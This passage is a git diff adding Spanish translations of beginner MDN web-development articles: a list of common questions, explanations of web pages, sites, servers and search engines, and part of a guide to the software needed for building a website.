+ <dd>Cuado trabaje en un proyecto web, querrá probarlo localmente antes de mostrarlo al mundo. Alguno tipos de código requieren un servidor para probarlos, y en este artículo le mostraremos cómo configurar uno. También cubriremos cómo implementar una estructura escalable para que sus archivos se mantengan organizados, incluso cuando su proyecto crezca.</dd>
+ <dt>
+ <h3 id="¿Cómo_se_asegura_de_que_su_sitio_web_funciona_correctamente"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">¿Cómo se asegura de que su sitio web funciona correctamente?</a></h3>
+ </dt>
+ <dd>Así que ha publicado su sitio web en línea, ¡muy bien! ¿Pero estás seguro de que funciona correctamente? Este artículo proporciona algunos pasos básicos para la solución de problemas.</dd>
+ <dt>
+ <h3 id="¿Cómo_se_configura_un_servidor_local_de_pruebas"><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">¿Cómo se configura un servidor local de pruebas?</a></h3>
+ </dt>
+ <dd>
+ <div>
+ <p>Este artículo explica cómo configurar un servidor local de pruebas simple en su máquina y los conceptos básicos sobre cómo usarlo.</p>
+ </div>
+ </dd>
+ <dt>
+ <h3 id="¿Cómo_subir_archivos_a_un_servidor_web"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo subir archivos a un servidor web?</a></h3>
+ </dt>
+ <dd>Este artículo muestra cómo publicar su sitio en línea con herramientas FTP, una de las formas más comunes de obtener un sitio web en línea para que otros puedan acceder a él desde sus computadoras.</dd>
+ <dt>
+ <h3 id="¿Cómo_uso_las_páginas_de_GitHub"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">¿Cómo uso las páginas de </a><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">GitHub?</a></h3>
+ </dt>
+ <dd>Este artículo proporciona una guía básica para publicar contenido utilizando la función gh-pages de GitHub.</dd>
+ <dt>
+ <h3 id="¿Cómo_alojar_tu_sitio_web_en_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">¿Cómo alojar tu sitio web en Google App Engine?</a></h3>
+ </dt>
+ <dd>¿Buscas un lugar donde alojar tu sitio web? Aquí hay una guía paso a paso para alojar tu sitio web en Google App Engine.</dd>
+ <dt>
+ <h3 id="¿Qué_herramientas_están_disponibles_para_depurar_y_mejorar_el_rendimiento_del_sitio_web"><a href="/en-US/docs/Tools/Performance">¿Qué herramientas están disponibles para depurar y mejorar el rendimiento del sitio web?</a></h3>
+ </dt>
+ <dd>Este conjunto de artículos le muestra cómo utilizar las herramientas de desarrollo en Firefox para depurar y mejorar el rendimiento de su sitio web, utilizando las herramientas para comprobar el uso de la memoria, el árbol de nodos de JavaScript, la cantidad de nodos que se renderizan en el DOM y más.</dd>
+</dl>
+
+<h2 id="Diseño_y_accesibilidad">Diseño y accesibilidad</h2>
+
+<p>Esta sección enlista preguntas relacionadas con la estética, estructura de páginas, técnicas de accesibilidad, etc.</p>
+
+<dl>
+ <dt>
+ <h3 id="¿Cómo_empiezo_a_diseñar_mi_sitio_web"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">¿Cómo empiezo a diseñar mi sitio web?</a></h3>
+ </dt>
+ <dd>Este artículo cubre el primer paso más importante de cada proyecto: definir lo que desea lograr con él.</dd>
+ <dt>
+ <h3 id="¿Qué_contienen_los_diseños_web_comunes"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">¿Qué contienen los diseños web comunes?</a></h3>
+ </dt>
+ <dd>Al diseñar páginas para su sitio web, es bueno tener una idea de los diseños más comunes. Este artículo recorre algunos diseños web típicos, observando las partes que componen cada uno.</dd>
+ <dt>
+ <h3 id="¿Qué_es_la_accesibilidad"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">¿Qué es la accesibilidad?</a></h3>
+ </dt>
+ <dd>Este artículo introduce los conceptos básicos detrás de la accesibilidad web.</dd>
+ <dt>
+ <h3 id="¿Cómo_podemos_diseñar_para_todo_tipo_de_usuarios"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">¿Cómo podemos diseñar para todo tipo de usuarios?</a></h3>
+ </dt>
+ <dd>Este artículo proporciona técnicas básicas para ayudarlo a diseñar sitios web para todo tipo de usuario —la accesibilidad rápida gana y otras cosas.</dd>
+ <dt>
+ <h3 id="¿Qué_características_HTML_promueven_la_accesibilidad"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">¿Qué características HTML promueven la accesibilidad?</a></h3>
+ </dt>
+ <dd>Este artículo describe características específicas de HTML que pueden ser utilizadas para hacer una página web más accesible para personas con diferentes discapacidades.</dd>
+</dl>
+
+<h2 id="Preguntas_de_HTML_CSS_y_JavaScript">Preguntas de HTML, CSS y JavaScript</h2>
+
+<p>Para soluciones a problemas comunes de HTML/CSS/JavaScript, trata con los siguientes artículos.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">Usa HTML para solucionar problemas comunes</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/Howto">Usa CSS para solucionar problemas comunes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Howto">Usa JavaScript para solucionar problemas comunes</a></li>
+</ul>
diff --git a/files/es/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/es/learn/common_questions/pages_sites_servers_and_search_engines/index.html
new file mode 100644
index 0000000000..741efd415d
--- /dev/null
+++ b/files/es/learn/common_questions/pages_sites_servers_and_search_engines/index.html
@@ -0,0 +1,119 @@
+---
+title: >-
+  ¿Cuál es la diferencia entre la página web, el sitio web, el servidor web y el
+  motor de búsqueda?
+slug: Learn/Common_questions/Pages_sites_servers_and_search_engines
+translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines
+---
+<div class="summary">
+<p><span class="seoSummary">En este artículo describe varios conceptos referidos a la web: Páginas web, sitios web, servidores web, y motores de búsqueda. Estos términos con frecuencia son confundidos por recién llegados a la web, o son incorrectamente usados. Vamos a aprender que significa de cada uno!</span></p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Debes saber <a href="/en-US/Learn/How_the_Internet_works">¿Cómo funciona internet?</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Aprender la diferencia entre página web, un sitio web, un servidor web, y un motor de búsqueda.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Así como en cualquier área de conocimiento, la web viene con un montón de jerga. No te preocupes, no te abrumaremos con todo esto (tenemos un glosario por si tienes curiosidad). Sin embargo, hay un unos términos básicos que necesitas entender al principio, Ya que escuchará estas expresiones todo el tiempo mientras lee. A veces es fácil de confundir estos términos, puesto que hacen referencia a funcionalidades relacionadas pero diferentes. De hecho, a veces veras estos términos mal utilizados en las noticias y en otros lugares, por lo que llegar mezclarlos es entendible!</p>
+
+<p>Cubriremos estos términos y tecnologías con más detalle mientras exploramos más, pero estas definiciones rápidas serán un gran comienzo para ti:</p>
+
+<dl>
+ <dt>Página web</dt>
+ <dd> Un documento que se puede mostrar en un navegador web como Firefox, Google Chrome, Microsoft Internet Explorer o Edge, o Safary de Apple, A menudo también se puede denominar "páginas web" o simplemente "páginas".</dd>
+ <dt>Sitio web</dt>
+ <dd>Es una colección de páginas web que se agrupan y normalmente se conectan de varias maneras. A menudo llamado un "sitio web" o simplemente "sitio".</dd>
+ <dt>Servidor web</dt>
+ <dd>Una computadora que aloja un sitio web en Internet.</dd>
+ <dt>Motores de búsqueda</dt>
+ <dd>Un sitio web que te ayuda a encontrar páginas web, como Google, Bing o Yahoo o DuDuckGo. Normalmente se accede a los motores de búsqueda a través de un navegador web (por ejemplo, puede realizar búsquedas de motores en búsqueda directamente en la barra de direcciones de Firefox, Chrome, etc.) </dd>
+ <dt><br>
+ Veamos una analogía simple: una biblioteca pública. Esto es lo que generalmente harías al visitar una biblioteca:</dt>
+</dl>
+
+<ol>
+ <li>Buscar en un índice de busqueda el título del libro que quiéres.</li>
+ <li>Tomar nota del número de catálogo del libro.</li>
+ <li>Ir a la sección particular que contiene el libro, buscár el número de catálogo del libro y obtener el libro.</li>
+</ol>
+
+<p>Vamos a comparar la biblioteca con un servidor web:</p>
+
+<ul>
+ <li>La biblioteca es como un servidor web. Tiene varias secciones, que es similar a un servidor web que aloja varios sitios web.</li>
+ <li>Las diferentes secciones (ciencias, matemáticas, historia, etc.) en la biblioteca son como sitios web. Cada sección es como un sitio web único (dos secciones no contienen los mismos libros).</li>
+ <li>Los libros en cada sección son como páginas web. Un sitio web puede tener varias páginas web, por ejemplo, la sección de Ciencias (el sitio web) tendrá libros sobre calor, sonido, termodinámica, estadísticas, etc. (las páginas web). Las páginas web se pueden encontrar en una ubicación única (URL).</li>
+ <li>El índice de búsqueda es como el motor de búsqueda. Cada libro tiene su propia ubicación única en la biblioteca (dos libros no se pueden mantener en el mismo lugar) que se especifica mediante el número de catálogo.</li>
+</ul>
+
+<dl>
+</dl>
+
+<p><em>No esta disponible aprendizaje activo aun. <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">Por favor, considere la posibilidad de contribuir</a>.</em></p>
+
+<h2 id="Profundizando">Profundizando</h2>
+
+<p>Entonces, vamos a profundizar en cómo estos cuatro términos serán relacionados y por qué a veces se confunden entre sí.</p>
+
+<h3 id="Página_web">Página web</h3>
+
+<p>Una <strong>página web</strong> es un simple documento que puede ser mostrado por un {{Glossary("browser")}}. Estos documentos están escritos en lenguaje {{Glossary("HTML")}} (el que veremos en más detalle en <a href="https://developer.mozilla.org/en-US/docs/Web/HTML">otros artículos</a>). Una página web puede incluir una variedad de diferentes tipos de recursos, tales como:</p>
+
+<ul>
+ <li><em>información de estilos</em> — controlar la apariencia de una página</li>
+ <li><em>scripts</em> — que agrega interactividad a la página</li>
+ <li><em>medios</em> — imágenes, sonidos, y vídeos.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota: </strong>los buscadores pueden mostrar otros tipos de documentos como archivos {{Glossary("PDF")}} o imágenes, pero el término <strong>página web</strong>específicamente hace referencia a documentos HTML. Por otro lado solo usamos el termino <strong>document</strong>(documento).</p>
+</div>
+
+<p>Todas las páginas web disponibles en la red son accesibles mediante una dirección única. Para acceder a una página, simplemente escribe su direcciones en la barra de búsqueda de tu navegador:</p>
+
+<p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="height: 239px; width: 650px;"></p>
+
+<p>Un <em>sitio web</em> es una colección de páginas web vinculadas (más sus recursos asociados) que comparten un único nombre de dominio. Cada página web de un sitio web determinado proporciona enlaces explícitos—la mayoría del tiempo en forma de parte del texto que se puede hacer clic—que permite al usuario moverse de una página del sitio a otra.</p>
+
+<p>Para acceder a un sitio web, escribe su nombre su dominio en la barra de direcciones de tu buscador, y el mostrará la página principal del sitio web, o <em>homepage </em>(casualmente denominada "el home"):</p>
+
+<p><img alt="Example of a web site domain name in the browser address bar" src="https://mdn.mozillademos.org/files/8531/web-site.jpg" style="display: block; height: 365px; margin: 0px auto; width: 650px;"></p>
+
+<p><em>Página web y</em> <em>sitio web </em>son especialmente fácil de confundir cuando un <em>sitio </em>contiene una única <em>página web </em>Tales sitio son denominados <em>sitios de una sola página.</em></p>
+
+<h3 id="Servidor_web">Servidor web</h3>
+
+<p>Un <em>servidor web</em> es una computadora que aloja uno o mas <em>sitios web</em>. “Alojar” significa que todas las <em>páginas web </em> y sus archivos soportes están disponibles en esa computadora. El <em>servidor web</em> enviará cualquier <em>página web</em> desde el <em>sitio</em> que hospeda al navegador de cualquier usuario, por cada solicitud del usuario.</p>
+
+<p>No confundir <em>sito web</em> y <em>servidor web</em>. Por ejemplo, "Mi sitio web no responde", en realidad significa que el <em>servidor web</em> no responde y , por lo tanto, el <em>sitio web</em> no está disponible. Más importante aún, ya que un servidor web puede alojar varios sitios web, el término <em>servidor web</em> nunca se utiliza para designar un sitio, ya que podría causar un gran confusión. En nuestro ejemplo anterior, si dijimos: "Mi servidor web no responde", significa que no hay sitios web en ese servidor web disponibles.</p>
+
+<h3 id="Buscador">Buscador</h3>
+
+<p>Los buscadores son una fuente común de confusión en la web. Un buscador es un tipo especial de sitio web que ayuda a los usuarios a encontrar páginas web de sitios web.</p>
+
+<p>Hay muchos por ahí: <a href="https://www.google.com/">Google</a>, <a href="https://www.bing.com/">Bing</a>, <a href="https://www.yandex.com/">Yandex</a>, <a href="https://duckduckgo.com/">DuckDuckGo</a>,y muchos mas. Algunos son genéricos, otros están especializados en ciertos temas. Utilice los que prefiera.</p>
+
+<p>Muchos principiantes en la web confunden motores de búsqueda con navegadores. Aclaremos esto: Un <em><strong>navegador</strong></em> es una parte de software que devuelve y muestra páginas web; un <strong><em>buscador</em></strong> es un sitio web que ayuda a las personas a encontrar páginas web de otros sitios web. La confusión surge porque, la primera vez que alguien inicia un navegador, el navegador muestra la página principal del motor. Esto tiene sentido, porque, obviamente, lo primero que quieres hacer con un navegador es encontrar una página web para mostrar. No confundas la infraestructura (por ejemplo, el navegador) con el servicio (por ejemplo, el buscador). La distinción te ayudará un poco, pero incluso algunos profesionales hablan imprecisamente, así que no te sientas angustiado por eso.</p>
+
+<p>Aquí hay una instancia de Firefox que muestra un cuadro de búsqueda de Google como su página de inicio predeterminada:</p>
+
+<p><img alt="Example of Firefox nightly displaying a custom Google page as default" src="https://mdn.mozillademos.org/files/8533/search-engine.jpg" style="display: block; height: 399px; margin: 0px auto; width: 650px;"></p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<ul>
+ <li>Profundizar más: <a href="/en-US/docs/Learn/What_is_a_web_server">Qué es un servidor Web</a></li>
+ <li>Vea cómo las páginas web están enlazadas en un sitio web: <a href="/en-US/docs/Learn/Understanding_links_on_the_web">Entendiendo los enlaces en la web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/common_questions/que_es_un_servidor_web/index.html b/files/es/learn/common_questions/que_es_un_servidor_web/index.html
new file mode 100644
index 0000000000..4969677db6
--- /dev/null
+++ b/files/es/learn/common_questions/que_es_un_servidor_web/index.html
@@ -0,0 +1,120 @@
+---
+title: Que es un servidor WEB?
+slug: Learn/Common_questions/Que_es_un_servidor_WEB
+tags:
+  - Infraestructura
+  - Principiante
+  - necesitaEsquema
+translation_of: Learn/Common_questions/What_is_a_web_server
+---
+<div class="summary">
+<p>En este articulo veremos que son los servidores, cómo funcionan y por qué son importantes.</p>
+</div>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Debes saber <a href="/en-US/docs/Learn/How_the_Internet_works">como funciona internet</a>, y <a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">entendiendo la diferencia entre pagina web, sitio web, servidor y motor de busqueda</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender qué es un servidor web y comprender cómo funciona.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>Con "Servidor web" podemos referirnos a hardware o software, o a ambos trabajando juntos.</p>
+
+<ol>
+ <li>En cuanto a hardware, un servidor web es una computadora que almacena los archivos que componen un sitio web (ej.  documentos HTML , imágenes, hojas de estilos CSS y archivo JavaScript) y los entrega al dispositivo del usuario final. Está conectado a internet y es accesible a través de un nombre de dominio como<code> mozilla.org</code>.</li>
+ <li>En cuanto a software, un servidor web tiene muchas partes encargadas del control sobre cómo tienen acceso los usuarios a los archivos, por lo menos un servidor <em>HTTP. </em>Un servidor HTTP es una pieza de software que comprende {{Glossary("URL","URLs")}} (direcciones web) y {{Glossary("HTTP")}} (el protocolo que tu navegador usa para ver las páginas web).</li>
+</ol>
+
+<p>Al nivel más básico, siempre que un navegador necesite un archivo almacenado en un  servidor web, el navegador hará una solicitud al servidor mediante la vía HTTP. Cuando la petición llega al servidor web correcto (hardware), el  servidor <em>HTTP </em> (software) envía el archivo antes solicitado, tambien a través de HTTP.</p>
+
+<p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p>
+
+<p>Para publicar un sitio web, necesitarás un servidor web dinámico o estático.</p>
+
+<p>Un <strong>servidor web estático</strong>, o pila, consiste en una computadora (hardware) con un servidor HTTP (software). Llamamos a este "estático" debido a que el servidor envía los archivos almacenados "tal cual" a tu navegador.</p>
+
+<p>Un <strong>servidor web dinámico </strong>consiste en un servidor web estático con un software extra , lo común es que sea una <em>aplicación</em> servidor <em> y una </em> base de datos<em>. Llamamos a esto</em> "dinámico" por que la aplicacion servidor actualiza los archivos almacenados en la base de datos antes de enviarlos mediante el servidor HTTP.</p>
+
+<p>Por ejemplo, para ver la página que ves en tu navegador finalmente, el servidor aplicación puede mostrar el diseño HTML con contenido desde una base de datos. Sitios como MDN o Wikipedia tienen cientos de páginas web, que no son realmente archivos HTML, si no una estrucura HTML asociada a una gigantesca base de datos. Esto hace mas fácil y rápido el mantenimiento y entrega del contenido.</p>
+
+<h2 id="Aprendizaje_activo">Aprendizaje activo</h2>
+
+<p><em>No hay aprendizaje activo disponible. <a href="https://developer.mozilla.org/en-US/docs/MDN/Getting_started">P</a><u>or favor, considere colaborar.</u></em></p>
+
+<h2 id="Inmersión_más_profunda">Inmersión más profunda</h2>
+
+<p>Para recuperar una página web, como ya dijimos, su navegador envía una solicitud al servidor web, que procede a buscar el archivo solicitado en su propio espacio de almacenamiento. Al encontrar el archivo, el servidor lo lee, lo procesa según sea necesario y lo envía al navegador. Veamos esos pasos con más detalle.</p>
+
+<h3 id="Alojamiento_de_archivos_Hosting">Alojamiento de archivos (Hosting)</h3>
+
+<p>Un servidor web primero debe almacenar los archivos del sitio web, es decir, todos los documentos HTML y sus medios relacionados, incluidas las imágenes, las hojas de estilo CSS, los archivos JavaScript, las fuentes y videos.</p>
+
+<p>Técnicamente, puede alojar todos esos archivos en su propia computadora, pero es mucho más conveniente almacenarlos en un servidor web dedicado que:</p>
+
+<ul>
+ <li>siempre está funcionando.</li>
+ <li>siempre está conectado a internet.</li>
+ <li>tiene la misma dirección IP todo el tiempo.</li>
+ <li>es mantenido por un proveedor externo.</li>
+</ul>
+
+<p>Por todas estas razones, encontrar un buen proveedor de alojamiento es una parte clave del desarrollo de su sitio web. Investigue a través de los diversos servicios que ofrecen las compañías y elija uno que se ajuste a sus necesidades y a su presupuesto (los servicios van desde los gratuitos hasta los miles de dólares al mes). Puede encontrar mas información <a href="https://developer.mozilla.org/en-US/Learn/How_much_does_it_cost#Hosting">en este artículo</a>.</p>
+
+<p>Una vez que configura una solución de alojamiento web, solo tiene que <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">cargar sus archivos en su servidor web</a>.</p>
+
+<h3 id="Comunicación_a_través_de_HTTP">Comunicación a través de HTTP</h3>
+
+<p>En segundo lugar, un servidor web brinda soporte para HTTP (<strong>H</strong>yper<strong>t</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol ó  <span>Protocolo de Transferencia de Hipertexto</span>). <span class="tlid-translation translation"><span title="">Como su nombre lo indica, HTTP especifica cómo transferir hypertext (es decir, documentos web vinculados) entre dos computadoras.</span></span></p>
+
+<p>Un <em>protocolo </em> es un conjunto de reglas para la comunicación entre dos computadoras. HTTP es un protocolo textual, sin estado.</p>
+
+<dl>
+ <dt>Textual</dt>
+ <dd>Todos los comandos son de texto plano y legible para ser leído por humanos.</dd>
+ <dt><span class="tlid-translation translation"><span class="alt-edited" title="">Sin estado</span></span></dt>
+ <dd>Ni el servidor ni el cliente recuerdan las comunicaciones anteriores. Por ejemplo, al confiar solo en HTTP, un servidor no puede recordar la contraseña que ingresó ni el paso que está realizando en una transacción. Necesita un servidor de aplicaciones para tareas como esa. (Cubriremos ese tipo de tecnología en otros artículos).</dd>
+</dl>
+
+<p>HTTP proporciona reglas claras sobre cómo se comunican un cliente y un servidor. Cubriremos el propio HTTP en un <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">artículo técnico</a> más adelante. Por ahora, sólo sé consciente de estas cosas:</p>
+
+<ul>
+ <li>Solo los clientes pueden hacer solicitudes HTTP a los servidores. Los servidores solo pueden responder a la solicitud HTTP de un cliente.</li>
+ <li>Al solicitar un archivo a través de HTTP, los clientes deben proporcionar la URL del archivo.</li>
+ <li>El servidor web debe responder a todas las solicitudes HTTP, al menos con un mensaje de error.</li>
+</ul>
+
+<p><a href="https://developer.mozilla.org/en-US/404"><img alt="The MDN 404 page as an example of such error page" src="https://mdn.mozillademos.org/files/8661/mdn-404.jpg" style="float: right; height: 300px; width: 300px;"></a> En un servidor web, el servidor HTTP es responsable de procesar y responder las solicitudes entrantes.</p>
+
+<ol>
+ <li>Al recibir una solicitud, un servidor HTTP primero verifica si la URL solicitada coincide con un archivo existente.</li>
+ <li>Si es así, el servidor web envía el contenido del archivo de nuevo al navegador. Si no, un servidor de aplicaciones construye el archivo necesario.</li>
+ <li>Si ninguno de los procesos es posible, el servidor web devuelve un mensaje de error al navegador, generalmente "404 Not Found". ( Ese error es tan común que muchos diseñadores web pasan bastante tiempo diseñando páginas de error 404.)</li>
+</ol>
+
+<h3 id="Contenido_Estático_vs._Dinámico">Contenido Estático vs. Dinámico</h3>
+
+<p><span class="tlid-translation translation"><span title="">En términos generales, un servidor puede entregar contenido estático o dinámico.</span> <span title="">"Estático" significa "servido como está".</span> <span title="">Los sitios web estáticos son los más fáciles de configurar, por lo que le sugerimos que convierta su primer sitio en un sitio estático.</span></span></p>
+
+<p>"Dinámico" significa que el servidor procesa el contenido o incluso lo genera desde una base de datos. Esta solución proporciona más flexibilidad, pero se vuelve más difícil de manejar, lo que hace que sea mucho más complejo desarrollar el sitio web.</p>
+
+<p>Tomemos por ejemplo la página que estás leyendo en este momento. En el servidor web que lo aloja, hay un servidor de aplicaciones que toma el contenido del artículo de una base de datos, lo formatea, lo coloca dentro de algunas plantillas HTML y le envía los resultados. En este caso, el servidor de aplicaciones se llama <a href="/en-US/docs/MDN/Kuma">Kuma </a>y está desarrollado con Python (utilizando el framework <a href="https://www.djangoproject.com/">Django</a>). El equipo de Mozilla creó Kuma para las necesidades específicas de MDN, pero hay muchas aplicaciones similares basadas en otras tecnologías.</p>
+
+<p><span class="tlid-translation translation"><span title="">Hay tantos servidores de aplicaciones que es resulta difícil sugerir uno en particular.</span></span> <span class="tlid-translation translation"><span title="">Algunos servidores de aplicaciones se adaptan a categorías específicas de sitios web como blogs, wikis o tiendas electrónicas;</span></span> <span class="tlid-translation translation"><span title="">otros, llamados</span></span> CMS (Content Management Systems ó <span class="tlid-translation translation"><span title="">Sistemas de Gestión de Contenidos</span></span>), <span class="tlid-translation translation"><span title="">son más genéricos.</span></span> <span class="tlid-translation translation"><span title="">Si está desarrollando un sitio web dinámico, tómese el tiempo para elegir una herramienta que se adapte a sus necesidades.</span></span> <span class="tlid-translation translation"><span title="">A menos que desee aprender algo de programación de servidores web</span></span> (¡es un área emocionante!), no necesita crear su propio servidor de aplicaciones.</p>
+
+<h2 id="Próximos_pasos">Próximos pasos</h2>
+
+<p>Ahora que estás familiarizado con los servidores web, podrías:</p>
+
+<ul>
+ <li>leer sobre<a href="/en-US/docs/Learn/How_much_does_it_cost"> cuánto cuesta hacer algo en la web</a></li>
+ <li>consultar otros artículos relacionados con<a href="/en-US/docs/Learn/What_software_do_I_need">los diferentes software que puedes utilizar para crear un sitio web</a></li>
+ <li>pasar a algo práctico tipo: <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">¿cómo subir archivos al servidor?</a>.</li>
+</ul>
diff --git a/files/es/learn/common_questions/que_software_necesito/index.html b/files/es/learn/common_questions/que_software_necesito/index.html
new file mode 100644
index 0000000000..92687e7d13
--- /dev/null
+++ b/files/es/learn/common_questions/que_software_necesito/index.html
@@ -0,0 +1,226 @@
+---
+title: ¿Qué software necesito para construir un sitio web?
+slug: Learn/Common_questions/Que_software_necesito
+tags:
+  - Build a website
+  - Building
+  - Mecanismos Web
+  - Principiante
+  - software
+translation_of: Learn/Common_questions/What_software_do_I_need
+---
+<div class="summary">
+<p>En este artículo se explican cuales componentes de software necesita para editar, cargar, o visualizar un sitio web. </p>
+</div>
+
+<table class="learn-box nostripe standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Deberías conocer acerca de <a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">la diferencia entre páginas web, sitios web, servidores web, y moteres de búsqueda.</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Aprender qué componentes de software necesita si quiere editar, cargar o visualizar un sitio web.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><span class="seoSummary">Puede descargar la mayoría de los programas que necesita para el desarrollo web de forma gratuita. Proporcionaremos unos enlaces en este artículo. </span></p>
+
+<p><span class="seoSummary">Necesitarás herramientas para:</span></p>
+
+<ul>
+ <li><span class="seoSummary">Crear y editar páginas web </span></li>
+ <li><span class="seoSummary">Cargar archivos a tu servidor web</span></li>
+ <li><span class="seoSummary">Visualizar tu servidor web</span></li>
+</ul>
+
+<p><span class="seoSummary">Casi todos los sistemas operativos incluyen por defecto un editor de texto y un navegador, el cual puedes usar para ver los sitios web. Como resultado, usualmente sólo necesitas adquirir software para la transferencia de archivos a tu servidor web.</span></p>
+
+<h2 id="Aprendizaje_activo">Aprendizaje activo</h2>
+
+<p><em>No hay aprendizaje activo disponible todavía. <a href="/es/docs/MDN/Comenzando">Por favor, considere contribuir</a>.</em></p>
+
+<h2 id="Profundización">Profundización</h2>
+
+<h3 id="Creción_y_edición_de_páginas_web">Creción y edición de páginas web</h3>
+
+<p>Para crear y editar un sitio web, necesita un editor de texto. Editores de texto crean y modifican archivos de texto sin formato.  Otros formatos, como <strong>{{Glossary("RTF")}}</strong>, te permiten añadirle formato, como negrita y señalado, esos no son adecuados para escribir páginas web. Debe pensar bien qué editor de texto usar, ya que trabajará intensamente con él mientras construye el sitio web.</p>
+
+<p>Todos los sistemas operativos de escritorio traen un editor de texto básico. Estos editores son muy sencillos, pero les faltan características especiales para codificar páginas web. Si desea algo un poco más elegante, hay muchas herramientas de terceros disponibles. Editores de terceros, a menudo viene con características extra, como coloreado de sintaxis, autocompletado, secciones expandibles y búsqueda de código. A continuación se muestra una lista de algunos editores:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Sistema operativo</th>
+   <th scope="col">Editor incorporado</th>
+   <th scope="col">Editor de terceros</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Windows</td>
+   <td>
+    <ul>
+     <li><a href="http://en.wikipedia.org/wiki/Notepad_%28software%29" rel="external">Notepad</a></li>
+    </ul>
+   </td>
+   <td>
+    <ul>
+     <li><a href="http://notepad-plus-plus.org/">Notepad++</a></li>
+     <li><a href="https://www.visualstudio.com/">Visual Studio Code</a></li>
+     <li><a href="https://www.jetbrains.com/webstorm/">Web Storm</a></li>
+     <li><a href="http://brackets.io/">Brackets</a></li>
+     <li><a href="https://shiftedit.net/">ShiftEdit</a></li>
+     <li><a href="https://www.sublimetext.com/">Sublime Text</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Mac OS</td>
+   <td>
+    <ul>
+     <li><a href="http://en.wikipedia.org/wiki/TextEdit" rel="external">TextEdit</a></li>
+    </ul>
+   </td>
+   <td>
+    <ul>
+     <li><a href="http://www.barebones.com/products/textwrangler/">TextWrangler</a></li>
+     <li><a href="https://www.visualstudio.com/">Visual Studio Code</a></li>
+     <li><a href="http://brackets.io/">Brackets</a></li>
+     <li><a href="https://shiftedit.net/">ShiftEdit</a></li>
+     <li><a href="https://www.sublimetext.com/">Sublime Text</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Linux</td>
+   <td>
+    <ul>
+     <li><a href="http://en.wikipedia.org/wiki/Vi" rel="external">Vi</a> (All UNIX)</li>
+     <li><a href="http://en.wikipedia.org/wiki/Gedit" rel="external">GEdit</a> (Gnome)</li>
+     <li><a href="http://en.wikipedia.org/wiki/Kate_%28text_editor%29" rel="external">Kate</a> (KDE)</li>
+     <li><a href="http://en.wikipedia.org/wiki/Leafpad" rel="external">LeafPad</a> (Xfce)</li>
+    </ul>
+   </td>
+   <td>
+    <ul>
+     <li><a href="http://www.gnu.org/software/emacs/">Emacs</a></li>
+     <li><a href="http://www.vim.org/" rel="external">Vim</a></li>
+     <li><a href="https://www.visualstudio.com/">Visual Studio Code</a></li>
+     <li><a href="http://brackets.io/">Brackets</a></li>
+     <li><a href="https://shiftedit.net/">ShiftEdit</a></li>
+     <li><a href="https://www.sublimetext.com/">Sublime Text</a></li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>Chrome OS</td>
+   <td> </td>
+   <td>
+    <ul>
+     <li><a href="https://shiftedit.net/">ShiftEdit</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Aquí se muestra una captura de pantalla de un editor de texto avanzado:</p>
+
+<p><img alt="Screenshot of Notepad++." src="https://mdn.mozillademos.org/files/8221/NotepadPlusPlus.png" style="display: block; height: 311px; margin: 0 auto; width: 450px;"> </p>
+
+<p>Esta es una captura de panalla de un editor de texto online:</p>
+
+<p><img alt="Screenshot of ShiftEdit" src="https://mdn.mozillademos.org/files/15837/shiftedit.png" style="display: block; height: 311px; margin: 0 auto; width: 475px;"></p>
+
+<h3 id="Subir_archivos_a_la_Web">Subir archivos a la Web</h3>
+
